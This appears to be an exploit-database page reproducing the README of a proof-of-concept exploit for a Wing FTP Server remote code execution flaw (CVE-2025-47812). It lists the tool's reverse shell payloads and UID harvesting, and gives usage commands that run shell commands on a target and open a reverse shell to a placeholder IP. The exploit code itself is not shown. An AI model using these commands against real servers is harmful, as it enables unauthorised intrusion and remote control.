Sploitus

Exploit for Improper Neutralization of Null Byte or NUL Character in Wftpserver Wing Ftp Server

githubexploit Β· 2025-07-04

Exploit Code

README61 lines
## https://sploitus.com/exploit?id=80188E75-6D7C-5948-9425-B2436CA35A22
# CVE-2025-47812 - Wing FTP Server RCE Exploit

This repository provides a proof-of-concept exploit for **CVE-2025-47812**, a remote command execution (RCE) vulnerability in **Wing FTP Server**. An attacker can inject and execute arbitrary Lua-based system commands by abusing the `username` parameter during authentication, resulting in full remote code execution.

---

## πŸ“Œ Exploit Features

- πŸ”§ Remote execution of custom shell commands
- 🧬 Multiple built-in reverse shell payloads (bash, Python, netcat, etc.)
- πŸͺͺ Automatic UID extraction from Set-Cookie
- πŸ“¦ Logs successful UIDs to `found_uids.txt`
- πŸ§ͺ Dry-run mode (no actual requests sent β€” test your input/output logic safely)
- πŸ” Retry logic on network failure
- 🧹 Cleaner payload formatting and readable output
- βœ… Input validation for IPs, ports, and URLs
- βš™οΈ Command-line argument support for automated workflows

---

## πŸ’» Usage

**Execute a simple shell command:**
```bash
python3 CVE-2025-47812.py --url http://target:5466 --cmd "id"
```
Trigger a reverse shell:
```
python3 CVE-2025-47812.py --url http://target:5466 --reverse --ip YOUR_IP --port 4444
```
Dry-run mode (no requests will be sent):
```
python3 CVE-2025-47812.py --url http://target:5466 --cmd "whoami" --dry-run
```

## πŸ”„ Changes Made to the Original Exploit

| Feature/Improvement       | Description                                                                 |
|---------------------------|-----------------------------------------------------------------------------|
| βœ… **Argument Parsing**    | Added `argparse` CLI support for non-interactive mode                       |
| πŸ” **Input Validation**    | Ensures valid URL/IP/port before attempting exploit                         |
| πŸ“¦ **Header Refactoring** | Extracted HTTP headers into a reusable function for consistency             |
| πŸ“„ **UID Logging**         | Saves successful UID tokens to `found_uids.txt`                            |
| πŸ§ͺ **Dry-Run Mode**        | Allows safe testing without sending requests (`--dry-run`)                  |
| πŸ•’ **Timeout + Retries**   | Adds request timeout and automatic retry attempts on failure                |
| 🧼 **Payload Readability** | Reformatted the Lua injection string for clarity and maintenance            |
| πŸ“Š **Structured Output**   | Wrapped server responses and payload info with delimiters for easy reading  |
| ⚠️ **Status Code Checks** | Warns user if the target returns unexpected HTTP status codes               |
| πŸ“ **Logging System**      | Replaces `print()` with Python `logging` module for better verbosity control|

---

## ⚠️ Disclaimer

This project is intended for **educational and authorized security testing only**.  
Do **not** use this tool against systems you do not own or have explicit permission to test.

---

---